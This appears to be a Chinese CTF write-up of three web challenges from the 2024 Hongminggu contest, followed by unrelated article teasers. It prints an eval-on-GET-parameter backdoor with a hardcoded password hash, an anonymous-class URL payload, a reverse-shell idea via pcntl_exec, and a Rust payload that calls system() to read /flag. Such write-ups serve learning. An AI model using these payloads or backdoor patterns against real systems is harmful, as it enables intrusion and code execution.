【2024红明谷】三道Web题目的记录

红明谷

文章目录

  • 红明谷
    • Web1 | SOLVED Later
    • Web2 | UNSOLVED
    • Web3 | SOLVED

容器已经关咯,所以有些场景只能靠回忆+描述啦,学习为主,题目只是一个载体~

本次比赛学习为主,确实再一次感受到久违的web题目的魅力了,可能也是好久没做的原因哈哈

Web1 | SOLVED Later

开题后首先一个界面是一个php界面,其中提供了一个post参数f

但是这个参数是什么都执行不了的。

所以我们需要进行侧信道攻击

其中具体原理不清楚,但是最后的工具确实可以一把梭

image-20240403183514925

读取到这里就OK了 不需要全爆的

因为我们的目的在于获得这个正确的参数值ezphpPhp8

加上参数后可以正常访问到界面

本来一气呵成,直接触发一个getflag 多完美,但是就偏偏出了个unset把匿名类给销毁了,这。。。

既然是销毁的匿名类,我们就去找一下如何触发匿名类

image-20240403184023204

https://hi-arkin.com/archives/php-anonymous-stdClass.html

但是每次的列数具有一定的随机性,所以上bp多跑几次就OK了

image-20240403184143961

payload:

http://eci-2zehaurgvwox6uxhazeh.cloudeci1.ichunqiu.com/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$12

Web2 | UNSOLVED

扫一下目录发现

www.zip泄露

image-20240403141152570

拿到用户名和密码登录

后面就卡主了,赛后请教了一下其他师傅,记录一下思路吧,后面学习(环境无了 好难受

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo '小明是运维工程师,最近网站老是出现bug。';exit;
} else {$validUser = 'admin';$validPass = '2e525e29e465f45d8d7c56319fe73036';if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo 'Invalid credentials';exit;}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

这里关注cmd这个点,学习无参数rce是什么

无参rce

image-20240403191739444

然后去读取一些内容

尤其是在读/usr/local/etc/php/php.ini 这个 可以发现pcntl_exec 这个函数没有被禁用

https://www.php.net/manual/en/function.pcntl-exec.php

学习一下这个函数怎么用,然后利用该函数反弹shell

Web3 | SOLVED

关键题目代码:

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{if code.contains("std") {return "Error: std is not allowed".to_string();}//generate a random 5 length file namelet file_name = rand::thread_rng().sample_iter(&rand::distributions::Alphanumeric).take(5).map(char::from).collect::<String>();if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {file.write_all(code.as_bytes());}if let Ok(build_output) = Command::new("rustc").arg(format!("playground/{}.rs",&file_name)).arg("-C").arg("debuginfo=0").arg("-C").arg("opt-level=3").arg("-o").arg(format!("playground/{}",&file_name)).output() {if !build_output.status.success(){fs::remove_file(format!("playground/{}.rs",&file_name));return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();}}fs::remove_file(format!("playground/{}.rs",&file_name));if let Ok(output) = Command::new(format!("playground/{}",&file_name)).output() {if !output.status.success(){fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stderr.as_slice()).to_string();} else{fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stdout.as_slice()).to_string();}}return String::default();}

解题:

首先看到rust,不熟的语言加上解出的人很多,就应该在语言上没有设置太大障碍吧,拷打gpt!

路由非常明确:post(“/rust_code”

post传参 ,传到/rust_code 路由下

这段 Rust 代码是一个 Rocket Web 框架中的一个处理 POST 请求的路由处理函数。以下是对代码中每一行的解释:#[post("/rust_code", data = "<code>")]: 这是一个 Rocket 框架的路由宏,用于定义一个处理 POST 请求的路由,该路由的路径为 /rust_code,并且期望接收名为 code 的数据作为请求体。fn run_rust_code(code: String) -> String {: 这是一个函数定义,用于处理接收到的 POST 请求,函数名为 run_rust_code,接收一个 String 类型的参数 code,并返回一个 String 类型的结果。!!!!!注意这里 在上waf  禁用了std
if code.contains("std") { return "Error: std is not allowed".to_string(); }: 这行代码检查接收到的 code 是否包含字符串 "std"。如果包含,则返回一个表示错误信息的字符串 "Error: std is not allowed"。let file_name = rand::thread_rng() ... .collect::<String>();: 这行代码生成一个随机的文件名,使用 Rust 的 rand 库来生成随机字符,并拼接成一个长度为 5 的字符串作为文件名。if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); }: 这段代码创建一个新文件,并将接收到的 code 写入该文件中。如果文件创建成功,则将 code 写入文件中。if let Ok(build_output) = Command::new("rustc") ... { ... }: 这段代码调用系统命令 rustc 来编译刚刚写入的 Rust 代码文件。编译完成后,会产生一个可执行文件。fs::remove_file(format!("playground/{}.rs",&file_name));: 这行代码删除之前创建的 Rust 代码文件,以保持环境的清洁。if let Ok(output) = Command::new(format!("playground/{}",&file_name)) ... { ... }: 这段代码运行刚刚编译生成的可执行文件,并将其输出捕获到变量 output 中。return String::default();: 如果以上步骤都成功执行,则返回一个默认的空字符串作为结果。

简单来说,用户上传代码,只要不包含std,会被这个程序执行,并输出结果

然后我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下

POST /rust_code HTTP/1.1
Host: eci-2zee51
...
Cache-Control: no-cache
Content-Length: 134//声明外部函数 C语言库函数
extern "C" {fn system(cmd: *const u8) -> i32;
}fn main() {// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作unsafe {system("cat /flag".as_ptr());}
}
flag{91857cfb-7512-4760-afd8-f370e33f1112}

END:

本场Web的难度真的非常喜欢哈哈哈,中等,非常适合我,就是一眼不会,稍微看看或许能理解,仔细想想就能解出的状态,非常好,继续加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/295879.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3.java openCV4.x 入门-数据类型(CvType)与Scalar

专栏简介 &#x1f492;个人主页 &#x1f4f0;专栏目录 点击上方查看更多内容 &#x1f4d6;心灵鸡汤&#x1f4d6;我们唯一拥有的就是今天&#xff0c;唯一能把握的也是今天 &#x1f9ed;文章导航&#x1f9ed; ⬆️ 2.hello openCV ⬇️ 4.待更新 数据类型&#xff…

RD55UP06-V 三菱iQ-R系列C语言功能模块

RD55UP06-V 三菱iQ-R系列C语言功能模块 RD55UP06-V用户手册&#xff0c;RD55UP06-V功能&#xff0c;RD55UP06-V系统配置 RD55UP06-V参数规格&#xff1a;10BASE-T/100BASE-TX/1000BASE-T 1通道&#xff1b;字节存储次序格式小端模式; 可使用SD存储卡插槽&#xff1b;工作RAM 1…

结构体,联合体,枚举( 2 )

目录 2.联合体 2.1联合体类型的声明 2.2联合体的特点 2.3联合体的内存大小 3.枚举 3.1枚举类型的声明 3.2枚举类型的优点 3.3枚举类型的使用 2.联合体 联合体&#xff08;Union&#xff09;是另一种复合数据类型&#xff0c;它允许我们在同一内存位置存储不同的数据类型…

Windows搭建Lychee图片管理系统结合内网穿透实现公网访问本地图床

文章目录 1.前言2. Lychee网站搭建2.1. Lychee下载和安装2.2 Lychee网页测试2.3 cpolar的安装和注册 3.本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 图床作为图片集中存放的服务网站&#xff0c;可以看做是云存储的一部分&#xff0c;既可…

Windows系统安装OpenSSH结合VS Code远程ssh连接Ubuntu【内网穿透】

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法|MySQL| ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-AwzyR2lkHKjD9HYl {font-family:"trebuchet ms",verdana,arial,sans-serif;f…

linux设置Nacos自启动

前提&#xff1a;已经安装好nacos应用 可参考&#xff1a;Nacos单机版安装-CSDN博客 1. 创建nacos.service 1.1 在 /lib/systemd/system 目录底下&#xff0c;新建nacos.service文件 [Unit] Descriptionnacos Afternetwork.target[Service]Typeforking# 单机启动方式&#…

让手机平板成为AI开发利器:AidLux

想ssh登录自己的手机吗&#xff1f; 想在手机上自由的安装lynx、python、vscode、jupyter甚至飞桨PaddlePaddle、Tensorflow、Pytorch和昇思Mindspore吗&#xff1f; 那么看这里....装上AidLux&#xff0c;以上全都有&#xff01; AidLux是一个综合的AI开发平台&#xff0c;…

JAVAEE之Spring, Spring Boot 和Spring MVC的关系以及区别

1.Spring, Spring Boot 和Spring MVC的关系以及区别 Spring: 简单来说, Spring 是⼀个开发应⽤框架&#xff0c;什么样的框架呢&#xff0c;有这么⼏个标签&#xff1a;轻量级、⼀ 站式、模块化&#xff0c;其⽬的是⽤于简化企业级应⽤程序开发 Spring的主要功能: 管理对象&am…

LabVIEW电力设备在线监测系统

LabVIEW电力设备在线监测系统 在电力行业中&#xff0c;变电站的稳定运行对于保障电力系统的安全性和可靠性至关重要。开发了一种基于LabVIEW软件开发的变电站电力设备在线监测系统&#xff0c;实时监控变电站内部的电力设备状态&#xff0c;确保电力传输的高效与安全。通过对…

C++的字节对齐

什么是字节对齐 参考什么是字节对齐&#xff0c;为什么要对齐? 现代计算机中&#xff0c;内存空间按照字节划分&#xff0c;理论上可以从任何起始地址访问任意类型的变量。但实际中在访问特定类型变量时经常在特定的内存地址访问&#xff0c;这就需要各种类型数据按照一定的规…

java学习之路-类和对象

前言 本文内容&#xff1a; 类的定义及其使用 this的引用 对象的构造及初始化 封装 static成员 代码块讲解 内部类 文章目录 1.类定义和使用 1.1了解什么是面向对象 1.2简单认识类 1.3定义类 1.4栗子 2.类的使用-类的实例化 2.1什么是实例化 2.2类和对象的说明 3.this引…

使用python实现i茅台自动预约

使用python实现i茅台自动预约[仅限于学习&#xff0c;不可商用] 运行&#xff1a; 直接运行 imtApi.py 打包&#xff1a;切换到imt脚本目录&#xff0c;执行打包命令&#xff1a; pyinstaller --onefile imtApi.py这个应用程序可以帮助你进行茅台自动化配置。以下是一些使用…

【热门话题】文言一心与ChatGPT-4:一场跨时代智能对话系统的深度比较

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 文言一心与ChatGPT-4&#xff1a;一场跨时代智能对话系统的深度比较一、技术背景…

第N6周:使用Word2vec实现文本分类

import torch import torch.nn as nn import torchvision from torchvision import transforms,datasets import os,PIL,pathlib,warnings #忽略警告信息 warnings.filterwarnings("ignore") # win10系统 device torch.device("cuda"if torch.cuda.is_ava…

Golang面试系列3-内存管理

3.1 内存分配机制 Go内存管理本质上是一个经过内部优化的内存池&#xff1a;自动伸缩内存池大小&#xff0c;合理的切割内存块。 分配逻辑&#xff1a;针对不同大小对象有不同的分配逻辑 (0,16B)且不含指针的对象&#xff1a;Tiny分配(0,16B)且含指针的对象&#xff1a;正常…

推荐多样性 - 华为OD统一考试(C卷)

OD统一考试(C卷) 分值: 200分 题解: Java / Python / C++ 题目描述 推荐多样性需要从多个列表中选择元素,一次性要返回N屏数据(窗口数量),每屏展示K个元素(窗口大小),选择策略: 各个列表元素需要做穿插处理,即先从第一个列表中为每屏选择一个元素,再从第二个列表…

k8s 基础入门

1.namespace k8s中的namespace和docker中namespace是两码事&#xff0c;可以理解为k8s中的namespace是为了多租户&#xff0c;dockers中的namespace是为了网络、资源等隔离 2.deployment kubectl create #新建 kubectl aply #新建 更新 升级&#xff1a; 滚动升级&#x…

pygame--坦克大战(一)

项目搭建 本游戏主要分为两个对象,分别是我方坦克和敌方坦克。用户可以通过控制我方的坦克来摧毁敌方的坦克保护自己的“家”,把所有的敌方坦克消灭完达到胜利。敌方的坦克在初始的时候是默认5个的(这可以自己设置),当然,如果我方坦克被敌方坦克的子弹打中,游戏结束。从…

蓝色wordpress外贸建站模板

蓝色wordpress外贸建站模板 https://www.mymoban.com/wordpress/7.html

Ansys Zemax | 如何将光栅数据从Lumerical导入至OpticStudio(上)

附件下载 联系工作人员获取附件 本文介绍了一种使用Ansys Zemax OpticStudio和Lumerical RCWA在整个光学系统中精确仿真1D/2D光栅的静态工作流程。将首先简要介绍方法。然后解释有关如何建立系统的详细信息。 本篇内容将分为上下两部分&#xff0c;上部将首先简要介绍方法工…